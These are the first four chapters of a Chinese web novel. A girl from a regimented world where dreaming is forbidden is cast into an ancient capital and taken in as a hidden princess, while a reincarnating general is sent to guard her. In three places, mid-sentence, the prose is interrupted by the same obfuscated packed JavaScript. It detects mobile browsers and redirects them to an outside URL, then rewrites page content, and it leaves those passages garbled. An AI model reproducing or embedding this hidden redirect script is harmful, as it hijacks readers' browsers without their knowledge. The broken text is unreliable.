《古代世界生存实验手册v1.0》 1. 第 1 章 诸位,你们有没有遇到过这种情形? 一件你认为是稀松平常的事,别人却是头一回听说。 比如当你在描述自己梦境的时候,他们却告诉你,“梦”这个词语本身就是虚构的,真实存在的人不会做梦。 没关系,无需怀疑他人,他们都很正常。 只是你…… 不属于这个世界罢了。 ## 光忆星的天空,一向很乖。 色泽是最利于视力健康的柔黄,云层均匀排布,符合心理学上最让人安心的形状,就连徐徐而来的风,它的湿度、温度、强度都经过严格把控。 巨大的字幕被投射在空中,以确保处在每一个位置的人都能看到它:【今日稳定值:100】 保持稳定,是这里的核心概念、最高美德。 学校的食堂坐落在海港北面,巨大的玻璃幕墙屹立,似乎想要与这个世界分出彼此,划出一条清晰的界线,但又舍不得放弃所谓美好的事物,既别扭又矛盾。 辛圭一身黑色坐在餐桌前,餐叉无意识地搅动食物。 艾谷目光微垂,落在她的食盘上:“你今天的用餐礼仪有些问题。” 辛圭赶紧在心里翻阅手册:【光忆星稳定人格维护手册·个人版第九条:被指出问题时,先致歉,再进行解释。】 “啊,”辛圭乖乖把叉子放下,说道:“对不起,昨天我刚刚参加过祖父的葬礼,看着他的灵魂回归光忆林,我有些震惊。” “你是第一次参加葬礼?”艾谷用餐巾点了点嘴角,坐得端正挺拔,表情是教科书式的沉重。 “是的。祖父是我家去世的第一位长辈,祖母和祖父同岁,但按照年龄,她应该在五年零三个月后去世。” “那她也应该开始准备自己的归还了。我很抱歉,他们是如此幸福的一对。”艾谷说道,语气没有丝毫变化。 幸福吗? 【情绪词条023:幸福 定义:指标长期处于系统推荐值区间。】 辛圭点点头,符合词义。 “叮咚”一声,手腕上佩戴的智脑弹出提醒:“请于今日下午3点前往职业咨询办公室,我们将针对您这段时间的表现进行复盘整理。” 辛圭的职业规划是小说家。 从出生的那一刻开始,“小说家”这三个字就和出生证明一起,被归入了她的个人档案。 【系统综合测评结果:适合职业路径:故事工程师】 【二级模块:叙事生成/比喻】 【推荐职业:小说家】 “故事是很重要的工具。”职业顾问曾认真地对她说,“不同的创作时代都有自己的审美和叙事偏好,而我们这个时代所需要的,就是稳定。” 辛圭也一直很配合,并朝着这个方向努力。 只是最近,有些地方开始变得奇怪…… 艾谷身子前倾,握住辛圭的手:“我谈恋爱了,按照系统的安排,他就是我的真命天子。” 艾谷是推荐职业是家庭主理人。 辛圭看向自己的手,艾谷的手很温暖,光忆星每个人的手都会很温暖,一直温暖,直到生命最后的尽头。 不知道为什么,她突然很想把她的手甩开,但她知道自己不应该这么做。 【手册第12条:不鼓励突发性、无原因的拒绝行为。】 “对不起。”辛圭深吸一口气,艰难地按照系统提示说道:“我想聊点别的。” 艾谷脸上露出笑容:“当然,我随时都在这里。” 辛圭试着组织语言,说道:“我最近总是做梦。我是一片落叶,风托着我在空中飘飘荡荡,我落在地上,被狐狸捡回家铺成床褥。狐狸舔舐自己的孩子,把最柔软的地方给它们安睡。蛇偷偷钻了进来,蛇鳞从我身上刮过,腹部变得庞大。狐狸嚎叫,狐狸出门,狐狸的皮毛不再柔软,狐狸的血滴在我身上。周围又变得好冷。” 艾谷斟酌片刻:“是你新写的故事吗?可以改善一下语言,现在有些混乱。” “不。”辛圭斩钉截铁地说道:“这是我做的梦。” “梦?”艾谷再次笑道:“亲爱的,我们是不会做梦的。只有故事里的人才会做梦,真实存在的人是不会做梦的。你是否觉得自己需要去医务室呢?” 辛圭愣住。 我们是不会做梦的? 她在心里快速翻阅《光忆星公民常识》、课堂笔记和系统推送的心理健康指南——的确,从来没有人说过自己做过一个梦。 天空上的数值发生了变化:【今日稳定值:98】 一片阴云从海面上快速袭来,一群乌鸦笔直地撞向落地玻璃,撞向悬挂着电子屏幕的位置。一只接一只,前赴后继。它们用尽全力,像怒吼的海浪拍来。 划分世界的界线岂是如此轻易就被抹除的? 它只是晃了晃,就可以轻而易举地抖去这些不自量力的东西。 乌鸦落在地上,变成一只只火红色的狐狸,它们的尸体层层叠叠,像是铺就了一张柔软却冰冷的地毯。 餐厅里的人很平静,继续聊天,继续吃饭,继续微笑,好像窗外仍是一片美好阳光。 辛圭看向艾谷,艾谷脸上仍然挂着笑容:“下午的课上完之后,我们可以去逛街,我迫不及待买几件漂亮衣服了。” “外面……”辛圭指着那些狐狸尸体。 艾谷看向窗外,微笑道:“今天的天气真好。” 辛圭突然觉得自己的胃里翻江倒海,她站起身向外走去。越走越快,直到门口,她突然停住脚步回头看向艾谷,她低着头,已经重新在吃饭了。 像是什么都没有发生过。 【检测到正在散步,是否需要为您播放舒缓音乐?】智脑提醒。 “谢谢,不用。”辛圭跑了起来,她有要去的地方,她有要确认的事情。 【检测到您心率超过稳定值,请放缓脚步,调整呼吸。】 “停止监测。” 【无法停止监测数据】 【检测到不稳定】 【已通知相关人士】 路边有个老师向辛圭快步走过来:“同学,你是不舒服吗?我送你去医务室。” “不用,谢谢。” 【您的状态已经偏离轨道】 【请留在原地,等待医务人员】 天空上投射的数值闪动不休: 【今日稳定值:94】 【今日稳定值:92】 ……… 【稳定人格M+E手册·异常条目】 【A-002:不想被检测】 【A-003:在他人协助下仍拒绝纠正偏离。】 【不稳定值上升中。】 【检测到物品异常】 【检测到生命体征出现异常波动】 【请停止您的行为】 【请停止您的行为】 ……… 【修复异常中……】 ……… 【修复异常失败,无法处理修复不稳定数值】 【启动清除项目】 ……… ……… ……… 【清除项目已完成———】 【今日稳定值:100】 ## “噗通——!” 玻璃一般的河水被砸开裂纹,水从四面八方涌来,毫不留情地灌进辛圭的耳朵和鼻腔,窒息感接踵而来。 她本能地蹬腿支撑,却不知道踩到什么滑溜溜的东西,身子一歪,脑袋又撞上一块粗粝的大石。 好在水并不深,辛圭挣扎着站起来,急促地喘息,水顺着头发与下巴流淌。 “……咳。” 她吐出两片半黄半绿的树叶,绿的部分蔫蔫儿的,黄的地方则像被浸泡了很久的纸,已经有些浆糊状了。 辛圭第一时间低头查看自己的手腕,几乎带了一辈子的智脑如今已经不见踪影。 她想起来了,自己已经将智脑拔下来了。 没有了系统的帮助,她试着回忆自己已有的知识: 【稳定人格手册·异世界观察项目 C001:当你突然出现在一个不认识的环境里,请先确认三件事: 1.自己是否还活着? 2.自己是否还在原本的世界? 3.如果不在,那这个世界的新规则是什么?】 这些条目的目的是给那些正式的异世界观 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815810|190874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 察员看的,她当时只是为了创作需要,才去翻阅过,没想到有一天竟然会用在自己身上。 现在没有系统没有智脑,她就只好把这些内容当做是给自己的提醒。 “所以……”她在心里回答:“1.活着。2.不在光忆星。3.规则未知。” 【稳定人格手册·异世界观察项目 C002:请制定并书写新的实验手册,以保持光忆星锚点。】 她抹了把脸,抬头看天,夜空是黑色,不是光忆星那种经过仔细调整后的通透深蓝。月亮也有点黄,懒洋洋地瘫在夜空,像是刚从油锅里捞出来。星星也很零散,有的暗淡有的明亮,显出一副爱咋咋地的随意态度。 河水不算宽,涟漪染上月亮的懒,荡几圈就没力气了。 两岸是低矮的土坡和丛生的芦苇,一侧是无言的蜿蜒山脉,一侧有灯火忽明忽灭,最高的楼也不过四五层高,人类的改造程度很低,还有很多可以填补利用的空间。 辛圭在心里打着草稿,第一个实验手册就叫“新世界”吧: 【实验手册·新世界版草稿 1.月亮状态异常。 2.建筑落后 推测:这是一个没有系统监管的低配世界。】 辛圭深一脚浅一脚地朝岸边挪,蚌贝急匆匆卷沙逃窜,鱼儿则躲得远远地看她。 好不容易爬上岸,辛圭一屁股瘫倒在泥地上,裙摆沉得要命,像是随时准备着再将她拖回水里溺一次。 “清除……项目?”耳边逐渐响起嘈杂的嗡鸣声,辛圭抚上额头,她的手好凉。 她好像刚刚被自己出生成长的世界扔出来了。 【实验手册·待定 光忆星将做梦的我判定为不稳定因素,于是将我丢进了……垃圾场?】 芦苇包围着她,垂下的花序像是一个拥抱。 “水鬼?”还没理清思路,身边突然传来男人的询问声。 芦苇枯黄得厉害,但一根根一簇簇仍然硬挺,足以掩藏他人的踪迹。辛圭只能借着天上那些懒洋洋的光,隐约看到一个人影。 见辛圭不作响,对方又说:“天太热了,都把水鬼从河里逼出来了,看来今天也不是个寻死的好日子。” “都忘了,水鬼是不会说话的。”对方打了个哈欠,松弛感十足,丝毫不像要寻死觅活,“想不到天运河里的水鬼竟然长成这样,不愧是京城,比我老家传说中的那些泡烂肉块强多了。” 【实验手册·新世界版草稿 3.“水鬼”=本地文化概念。对“河里突然出现的人的默认解释是水鬼。 结论:这里大概率是人类社会。】 她本来一瞬间想给这本手册取名为“垃圾场版”,又很快把这个念头删掉。她不想叫自己垃圾,所以还是叫“新世界版”好了。 男人站起身,拍拍身上的土,左耳上有颗红色的宝石反着细微的光,随着他的动作一晃一晃的:“我叫陆居平,等河水涨回来,我应该会再来,拜托你到时候温柔且有力地把我拽进河里,先谢了。” 说罢,他摆了摆手,像一个不切实际的梦,消失在夜色之中。 周围似乎又只剩下辛圭一个人了。 没有风,但并不安静,耳边的嗡鸣声仍在持续——不是智脑的提示音,而是陌生世界里的某种噪音。 现在应该做什么呢? 【稳定人格手册·异世界观察项目 C003:在新世界缺少任务的时候,可以参考以下几条: 1.找到人类聚集地。 2.确认自己目前身份标签。 3.为防止被这个世界“清除”,请不要透露自己来自于其他世界。 4.为防止被这个世界“清除”,请先复习出发前学习的该世界生存指南。】 这毕竟是给异世界观察员准备的手册,他们在出发前是有系统学习过另一个世界的相关知识的,但辛圭没有,所以也不存在什么该世界生存指南。 但前三条她还是可以做到的。 辛圭站起身,芦苇拂过她的脸颊,鼻腔里是不散的腥味,她朝着嗡鸣声的来处走去。 慢慢地,眼前有了实质的土墙,人和墙一起出现,人和人一起出现。 2. 第 2 章 撒鸡食的老人、拉着妈妈手的孩子、聊天的女人、扇扇子的男人、在泥地上写字的少女、树后偷看的少年……没有她认识的人。 但她判断自己已经完成了手册C003指引的第一步:找到人类聚集地。 “这是哪家的姑娘?”老人放下手里的瓷碗,急匆匆地走出院子:“怎么弄成这样?” 辛圭眼睛缓慢聚焦,直到人像清楚,一个有些驼背的老奶奶在她面前站稳。眉头紧紧皱着,嘴角也往下压,一条条细小的纹路挤在一处。 【实验手册·新世界情绪观测版v1.0 样本001: 对象:不明身份老年女性 场景:夜间巷口,发现一名浑身湿透的陌生人 表情:眉头紧锁、嘴角下垂 初步推测:对方不高兴。】 辛圭:“对不起。” “对不起什么?”老奶奶个子不高,只能抬头看她。 眼前的姑娘还有未褪去的脸颊肉,眼睛又黑又大,眼头圆圆的,双眼皮呈出流畅的扇形,在眼尾以下垂做结。本就是钝钝的长相,偏偏唇珠也明显,更显得委屈。 “还好这破天热,不然要着凉。”老奶奶念叨着,拎了块旧草席子过来垫在地上:“你先坐。阿钱!你过来!” 扇扇子的男人从树下跑过来:“娘,怎么了?” “你在成记行上工,见过的人多,认识这是哪家姑娘吗?她一个人没魂儿了似的从那边过来,就只是哭。” 哭?辛圭摸了一把脸,水涔涔的。 她回忆了一下光忆星的定义:【人体状态词条03:哭泣。眼部自动流出液体,伴随胸口发闷。从功能上看似乎没有必要,但会展示出人物软弱的性格。】 阿钱歪着头,试图借着些许月光中辨认出来者。 “小姐?!”阿钱吓得声音都破了,他看看辛圭来的方向,又揉了揉自己的眼睛,再仔细看过:“小……小姐你怎么在这儿?” 小姐?是在说我吗? 【稳定人格手册·异世界观察项目C004:在缺乏身份信息时,可暂时沿用对方给予的称呼,以降低环境警惕,大大减少被异世界清除的可能性。】 辛圭默默在心里选择了“采纳”。 “娘!赶紧,拿块干净布子给小姐擦擦,我去成记行叫人来!”阿钱脚下匆忙,扇子也不要了,塞给老奶奶,人就跑了。 老奶奶听了,赶忙回屋拿布子。再回来的时候正好看见自家孙女在往辛圭手里塞东西,奶声奶气地说:“别哭别哭,看,这是什么!” 辛圭低头看掌心,是一块小小的黄色月亮。 “是糖呀!爹说摔倒了没关系,可以吃糖的,吃了糖疼疼就飞走啦。”女娃看着糖,吞了下口水,又努力把视线从糖上挪开,很熟稔地摸摸辛圭的头:“疼疼飞走啦。” 小小的手掌摸在头顶,辛圭突然感觉鼻子一阵酸楚,她伸手揉了揉,将那块“月亮”放进嘴里。 只有一点点甜,还掺着说不上来的味道,和光忆星的糖不一样。 但……好吃。 辛圭认真在心里记录:【新世界饮食观察01:糖—疼疼飞走。 推测:这里默认的安抚流程包含食物糖分。 批注:糖分确实能迅速升高血糖,刺激大脑释放多巴胺,带来愉悦。】 没一会儿,一辆马车拖着黄蒙蒙的尘土,急匆匆赶来。一个五十多岁的中年男人从车上冲下来:“姑、姑娘?!” 辛圭下意识回了一句:“您好。” 男人脚下一晃,险些扑通跪下,却很快把慌乱压下,他将带来的披风裹在辛圭身上,又看见她额上的伤口,说话哆哆嗦嗦:“姑娘脑袋疼不疼?眼睛能看清吗?手指能动吗?” 辛圭抬手晃了晃,老实回答:“能看清,能动,脑袋确实有点疼。” “没事没事,”男人也不知道是在安慰辛圭还是在安慰自己,“姑娘人没事儿就好,怎么就……弄得这么湿?” 这是一个需要谨慎作答的问题。 根据异世界观察项目C003第三条条例,应当避免暴露自己来自其他世界。 辛圭斟酌了一下,决定用一个她认为相对温和的版本:“我被丢进河里了。” 从光忆星的角度,这个说法很准确。清除项目执行完毕后,她被扔到了这里。 辛圭很认真地观察对方紧皱的眉头,这里的人为什么都这么容易不高兴呢? 男人震惊地瞪大眼睛,眉间的纹路更深:“是谁这么大的胆子!” 他好像更生气了,辛圭害怕自己说错话,连忙修正说法:“我是说,就是那种,很像被丢下来,但也有可能只是我脚滑自己掉下去了……” 男人眼皮抖了抖,心里却已然翻江倒海。 他比谁都清楚,眼前的这位姑娘可不是什么普通人家的小姐。她是德明帝亲自交到自己手上的、要藏在市井间十八年的当朝公主殿下! 她怎么可能自己跑出家门?怎么会自己掉到河里?等等!她刚才说是被人丢进河里的,难道是有人知晓她的身份? 还没等他理清头绪,辛圭又给了他一记重击:“请问您是……?” 噗通一声,男人这回真的跪下了:“奴……小的是福伯啊,是姑娘的管家。” 管家? 辛圭很快想起了曾经看过的相关资料——人类的一种古代社会结构中存在的称谓。 福伯爬起来深吸一口气:“总之,先回家。姑娘要是病了,小的一条命也别要了。” 辛圭默默记下:在新世界,命是一个量词。 她依照条目C004,暂时披着福伯给自己安的身份,乖乖在丫鬟的搀扶下上了马车。 车厢里铺着干净的垫子,角落点着炭盆,发出极细微的噼啪声。辛圭一凑上那炭盆,就忍不住往前挤了挤,像只取暖的猫。丫鬟递上茶碗:“小姐,喝口姜茶压压惊。” 辛圭接过碗猛灌一大口,温度刚好,但里面却有一股刺喉的味道,辣得她舌头发烫,眼眶发热。“咳,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815811|190874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水……坏掉了吗?” 丫鬟笑道:“姜茶味道辣些但是好的。” 辛圭看着手里的茶碗:【新世界饮食观察02:水,可以有味道。辣=口腔刺痛+眼眶发热,本地人视之为好。】 马车前行,木轮由泥土地压上青石路,产生轻微的颠簸。 辛圭本想靠着眯一会儿,脑子里却总有乱七八糟的画面跳出来:艾谷平静地吃着饭、撞上玻璃的鸦群、狐狸冰冷的身体。 马车慢慢停下。外面脚步匆匆,车帘被掀开,夜风里有股淡淡的豆面和油脂的香,连带着某种木头干燥的味道一起涌到辛圭面前。 “到了。”福伯扶她下车:“姑娘小心脚下。” 辛圭踩在坚实的青石地面上,她像是不太放心,又用脚掌来回踏了踏,直到确认周围一切都是坚固的,这才抬头看。 眼前是一座不算大的木质结构宅邸,门匾上写着两个大字——李府。笔画有点飘,写字的人像是有点忍不住显摆自己的书法。 橙黄色的光由半开着的宅门里散出,隐约能听见院子里有人走动的声音。 一名中年女性由内急匆匆走出来:“我的姑娘啊!这是怎么了?!” 她的声音一出来,空气好像被搅动了一下,某种看不见的东西顺着风扑到辛圭身上——不冷,也不疼,却被刚才那些酸意又翻腾了起来。 辛圭反应慢了一拍:“您……您好。” 这句“您好”说出口时,她才忽然意识到,光忆星那头的清除程序已经执行完毕了。 辛圭,已经被光忆星丢掉了,稳定值重回一百。 而在这个陌生的地方,眼前人却是满脸心疼,伸出手臂迎接她,好像她不是随便的什么垃圾。 辛圭觉得自己像是要感冒,鼻子又酸涩起来,眼眶发烫,胸口也闷闷的。 她摸了摸自己的胸口,“噗通”“噗通”,它跳的很好。 “张妈,别愣着了,快带姑娘回屋换身干衣裳。” “对对。”被唤作张妈的中年女性嘱咐道:“再叫个大夫,多塞点银子,让他快点过来。” 辛圭被张妈护着走进大门时,忍不住回头看了一眼。小巷灯火昏黄,巷口的柿子树长得歪七扭八,你家蹭两枝,他家挂三枝,叶子也有肥有瘦有疏有密。一片枯叶抖了抖身子,不能说毫不留恋,但仍从树枝上毅然决然地落下。 晚上,辛圭躺在全新的床上,做了一个梦。 她梦见自己变成了一条河,从那山涧奔流而下,撞碎石头,卷走枯枝烂叶。后来那河长出了爪牙,变成一头虎,把自己撕成无数碎流。老虎身上起了火,火焰舔过树、舔过屋顶,最终又将自己吞噬。 光忆星上说,真实存在的人不会做梦。但她却一遍一遍的做梦,梦见自己被撕开、重组、燃烧。 她以为自己是唯一受梦境困扰的那个,却不知道,在离她并没那么远的地方,有一个人,正反复梦见同一个秋日,反复梦见自己一次又一次的死去,反复把自己的死期经历了一遍又一遍。 3. 第 3 章 定安五年,又是一年秋日。 商州的柿林本应是丰收的大好时节,一颗颗汁水饱满的柿子挂在树梢,就像元月时的灯笼,喜气洋洋。 不远处应当是黄澄澄的麦田,风一吹,麦穗儿弯下腰去,露出几张辛苦劳作的脸,粗麻袖子抹一把汗。 可如今,这片养育了无数代人的土地,却浸满鲜血。 温麟趾睁开眼睛,天空染着异样的红,破损的旗帜横七竖八地倒在地上,寒风卷着死亡的气息,灌进他腹部的巨大伤口,牵扯的五脏六腑都碎裂了一般。 “有没有……” 有没有人还活着? 他想问,开口却不成调,活像只呜咽的野兽。 身旁的尸骸层层叠叠,半天之前,他们都还是活生生的、有温度的人,如今却面目不清的躺在冰冷的土地上。 天上只剩一颗星辰,光辉熠熠的注视着他,好似在嘲笑着他。 “啊——啊!啊!”温麟趾躺在层层叠叠的尸骸当中,像是无法再忍受一般,痛哭出声。 此时此刻,换做是谁,都无法将眼前的人和那个丰神俊逸的少将军联系到一处。 温麟趾也曾有过美好的时光。 那时他以为世间不过如此了,一切最好的东西他都拥有。直到父亲身亡,府邸破败,皇室争权夺势,琅朝覆灭,百姓流离失所。 他看着沃土被一寸寸的焚烧殆尽,看着认识的不认识的人一个个的倒在面前,直到看着熊熊烈火将自己焚烧。 可老天偏不让他死。 他重生了,回到父亲死后的第三年。 重来一次,他打定主意要救护天下,就像他的父亲一样,以自己的身躯护佑住黎民百姓。 可无论他以什么样的方法,无论他做出怎样的尝试,最后的结局却好像已经被写定,并不会因他而做出改变。 他也总是在定安五年的秋天死去,再投入下一次的轮回。 究竟是为何而让他这样活着呢? 究竟是为何要一遍遍地重复、一遍遍地尝试,再一次次地让他面对无法改变的结局呢? 风扬,火鼓噪,一片不知沾了谁的血的枯叶飘飘荡荡,落在了他的指尖。 ## “少将军,少将军。”有人叫他。 温麟趾猛地睁开眼睛,身上早已被冷汗浸透。眼前是京中老宅熟悉的模样,他深吸几口气,竭力将自己从方才的情绪中抽离出来。 身上的伤口早已消失无踪,只有心口那种被撕裂的疼还在。 他知道,在刚才的那个景致里,他已经死了,如今是再一次的轮回。 “怎么了?”他尽可能平稳地问道。 “宫里来人,请少将军进宫一趟。” 温麟趾眉头微蹙,按照他的记忆,今晚是不应该有这样的传召的。难道……他按捺住内心的期冀,试探问道:“今日是什么日子?” “今日是定安初年,九月初三,马上天就要亮了。”一句话,又将他打回谷底。 温麟趾方才还在想,这或许只是自己做的一场噩梦。如今却只能苦笑,循环的起始时间点从未发生过变化,都是在定安初年的九月初三。 自己的父亲,昭武将军,于三年前被淮南道一刺史奏报通敌舞弊,已于军前自戕。 当时的温麟趾还在絮州府中,听人来报后,祖母没过多久便病故了,母亲也变得疯疯癫癫。 只是这奏报在昭武将军死后,便也没了后章。不上不下不清不白的,只留年少的温麟趾守着日渐破败的府邸。 他可以是罪臣之子,也可以是名臣之后,一切都取决于皇上的态度。 温麟趾深吸一口气,坐起身来,快速整理一番后跟随宫人一道,走进浓重的夜色之中。 ## 宫人将温麟趾带到永安宫,记忆中这里一直都是富丽堂皇的,熏炉里升腾着袅袅药香。 德明帝像每次轮回的开始一样,背对着他。 金龙袍,白玉冠。 仅仅是时间不同。 德明帝接下来的话他早已倒背如流,应当是:“子修,絮山纷争不休,那里有许多你父亲的旧部,如今三年丧期已过,你去协同,朕最放心。” 重来过太多次,温麟趾甚至知道德明帝会以何种表情何种语气说出这句话。 在不断地循环之中,温麟趾尝试过前往絮山建立武功,也尝试过弃武从文,他当过武将当过佞臣,然而一切都是枉费。 他的命数,会终止于定安五年的秋日。 这一次,自己又当如何呢? 然而,德明帝转身,说出让他始料未及的话语:“子修,你擅长骗人吗?” 温麟趾一怔,这是……重生到了其他的时间点? 不。 在任何的时间点,德明帝都从未与自己有过这样的对话。 他连忙跪下:“臣清清白白,从未有过欺君之事。” “快起来快起来。”德明帝伸手将温麟趾拉起来:“朕并非兴师问罪。此次呢,是想让子修帮朕个忙。”他略一停顿,“朕有一个女儿,名叫李成圭。” 李成圭。 温麟趾记得很清楚,这是德明帝唯一的一个女儿,自小便倍受宠爱,但这也仅限于她的前半生。 在自己的数次循环之中,李成圭的结果都不如何好。 有次她被贬为庶民发配,死在了苦寒之地;有次驸马陆居平拿她祭旗弑君夺位;有次她被拉到战场前,结果被战马踩踏而死…… 这些还仅限于温麟趾知道的关于李成圭的结局。 总而言之,李成圭在诸次循环中的存在感并不强,风暴确实一直在她身边,但也仅仅因为她是皇室中人。 德明帝并不知道温麟趾此刻所想,继续说道:“成圭出生那日,有火流星降世,国师判其是天上霹雳火,有旺国之运。只是这火象太重,需得先以龙脉压十八年,不能对外显其尊贵。之后送出京城,以山川之力克化吸收。朕当年托辞公主身体孱弱,养在佛寺当中,不知子修可否记得?” “是,子修记得。”温麟趾回道。 在温麟趾关于李成圭有限的记忆中,这位公主殿下在得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815812|190874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知自己真实身份后,各种稀奇古怪的想法层出不穷,嚣张跋扈,总体说来甚至可以说是恶劣。就连那位驸马陆居平,都是被她抢来的。 德明帝:“可实际上,成圭被朕养在京中一处宅子。朕以经商为名,每隔一段时间便返回家中。除了管家是朕以前的内侍,知晓此事,帮朕遮掩,其余丫鬟小厮一律不知她就是当朝公主。包括成圭自己。如今成圭刚过十八岁生辰,依照国师所说,她需得出去游历山川。朕就想着装一场病,以让她肩负家业之名,让她出去走走。子修觉得如何?” 温麟趾回得很规矩:“公主殿下得陛下宠爱,定能克化火运,安显康泰。” 德明帝踱了两步,一甩袖子:“可就在昨夜,成圭不知怎得竟掉进天运河中。我留在她身边的内侍说,她嘴里念着什么被丢下,不知是何方宵小竟敢造次!” “当然,也有可能是得知成圭身负国运,故意害她。”德明帝咬牙切齿:“如今看来成圭并不安全。朕便想着子修你行事想来妥当,又有一身好武艺,若是有你随同她出行,定能安全无虞。” 温麟趾恍然之间明白了德明帝的意思,自己生在絮州长在絮州,服丧三年,又是不被待见的罪臣之子,鲜少有人来往,京城之中识得自己的人少之又少。若是公主微服出行,自己岂不是作为跟随的最好人选? 德明帝沉默片刻,随即压低声音,说道:“子修,昭武将军之死,朕亦记在心中。朕看着成圭的时候,也时常想起你。你们两个年龄相当,处事却极为不同。成圭天真可爱,子修却如此谨言慎行。朕时常想,若是昭武将军尚在,你定然也无需如此。” 温麟趾暗自思忖,倘若真的游历山川,他亦能去往淮南,打探那刺史为何诬告父亲。也能去往岭南道,结识尚未发迹的陆居平,看他究竟是何想法。 “臣,愿以命护得公主安全。”温麟趾拱手说道。 得到满意的答复,德明帝便挂上了笑脸:“当年昭武将军案未有定论,朕已下令彻查,想必子修归来之时,便能得到一个答复。此次陪同成圭出行,凡事低调,切莫让她发觉有人在照拂。朕也无需她经商一路能赚多少,若是亏了也权当买个教训。但也不好亏太多,毕竟都是朕的私库。子修做事向来妥当,想必定能将朕的成圭好好送回京城。当然,如果能揪住害成圭落入水中的幕后黑手,那更是大功一件!” “臣遵旨。” “皇上,上朝的时候就要到了。”伺立在外的福秋小声提醒道。 “嗯。”德明帝又看了温麟趾一眼,说道:“今日成行记要寻伙计,子修当知该如何做。” 温麟趾微愣,他本以为德明帝这般说法是早有打算,想要将他作为护卫交给公主,可谁知竟是要让自己随意发挥? 但皇命在前,他只得应下。 “早去做准备吧,成记行的位置可是紧俏得很。” 温麟趾就这般稀里糊涂地被请出了皇宫。 人方站定,又感觉到热气从四面八方涌来,蝉声呱噪不已,不肯停歇的“知了知了”,而温麟趾,却实在是“不知不知”了。 4. 第 4 章 翌日,辛圭一早就醒了,多年在光忆星的生活已经给她打上了烙印——【稳定人格作息表·推荐版】上明确写着:早上七点醒来是唤醒身体的最好时机。 身体比意识先记住了这件事。 身下是昨晚睡下的木架床,各处都雕了祥云纹样,床帏柔软,颜色是将谢的红素兰。和光忆星宿舍里那种“统一供应、同一材质”的睡眠舱相比,这张床显得格外不标准:有棱角、会在她翻身时发出轻微的吱呀声。 房间里静悄悄的,昨晚萦绕在耳旁的嗡鸣声,此时此刻已经偃旗息鼓,好像昨晚那般喧闹不休只是某种系统错误。 辛圭下意识抬手去摸手腕——空的,没有智脑,没有稳定值,没有任何日程提示音。 她吸了吸鼻子,复杂的味道涌入,是泥土的味道,是草叶的湿气,是旧木头的沉睡,是很淡很淡的花香,是光忆星没有的味道。 【新世界感官记录001:混合气味,来源不明,但整体体验舒适,并附带陌生感。 备注:光忆星的空气是“经处理版本”,这里像是未经编辑的原稿。】 这么记录着,辛圭感觉自己的心像是突然被揪了一下,什么东西塞了进去,用力的跳了一下——“噗通。” 贴身丫鬟春茶原本在外面打瞌睡,听见屋里的动静慌忙跑过来,有些惊讶:“小姐怎么这么早就醒了?是不是身子哪儿不舒服?” 辛圭条件反射地挂上笑脸——这是【稳定人格维护手册·交际版第4条:先安抚对方情绪,再说明情况】的标准步骤。 “你别紧张,”她认真地说:“我身体没有不舒服,就是睡不着了。” “姑娘?醒了?” 门轻轻被推开。张妈探头进来,手里端着一碗热腾腾的汤,目光落到辛圭脸上—— 【嗡——】 一股强烈的噪音从张妈胸口扩散出来,辛圭头皮发麻,有点想逃。 但她无处可逃。所以只能努力过滤那些让她难受的噪音,试图让它变得慢一些、轻一点、柔软一些。 在数次不同方向的尝试之后,辛圭发现如果能将这些噪音具象化,转换成她一直很擅长的“比喻”,情况就会好很多。 比如将张妈胸口扩散出来的噪音“比喻”成“一整块山被塞在对方胸口,有碎石沿着山体滑落”。 于是,她非常专业地又记了一笔: 【实验手册·新世界噪音观测版v1.0 样本001: 对象:张妈 表情:眉头紧皱,眼眶发红。 伴随表现:碎石滑坡。】 张妈见她愣神,放下手中的热汤,走到辛圭床旁:“哎哟,我的心肝姑娘,眼睛肿了,额角也青了。疼不疼?可千万别再着凉。” “我……还好。”噪音的问题解决了,辛圭就能认真按照受关心场景标准回复——既不能太坚强,也不能太娇弱,“就是有一点点疼。” 张妈眼眶泛红:“听到你说话这个小声儿,我心都跟着抖。” 她一边说,一边伸手给辛圭掖被角,动作小心翼翼。每掖几下,张妈就抬头看看辛圭,辛圭回以微笑和记录: 【样本002·张妈(补充) 动作:掖被角,反复确认是否着凉。 推测用途:确认“我还在这里”。】 春茶服侍着辛圭,服下汤药,辛圭表面安静,内心却在认真做记录:【新世界饮食记录003:药=极苦,但大家都认为必须喝完。 结论:这里的人在难喝和有用之间,会优先选择有用。】 随后,春茶又抱来一套紫红到发粉、粉到发亮的衣裙。辛圭感觉眼睛都要被闪瞎了,原本伸出去的手也不由得停在半空。 春茶连忙介绍:“小姐,这是您之前最喜欢的石榴襦裙。这个颜色是淮南的特产,京中少有几户人家有呢。” 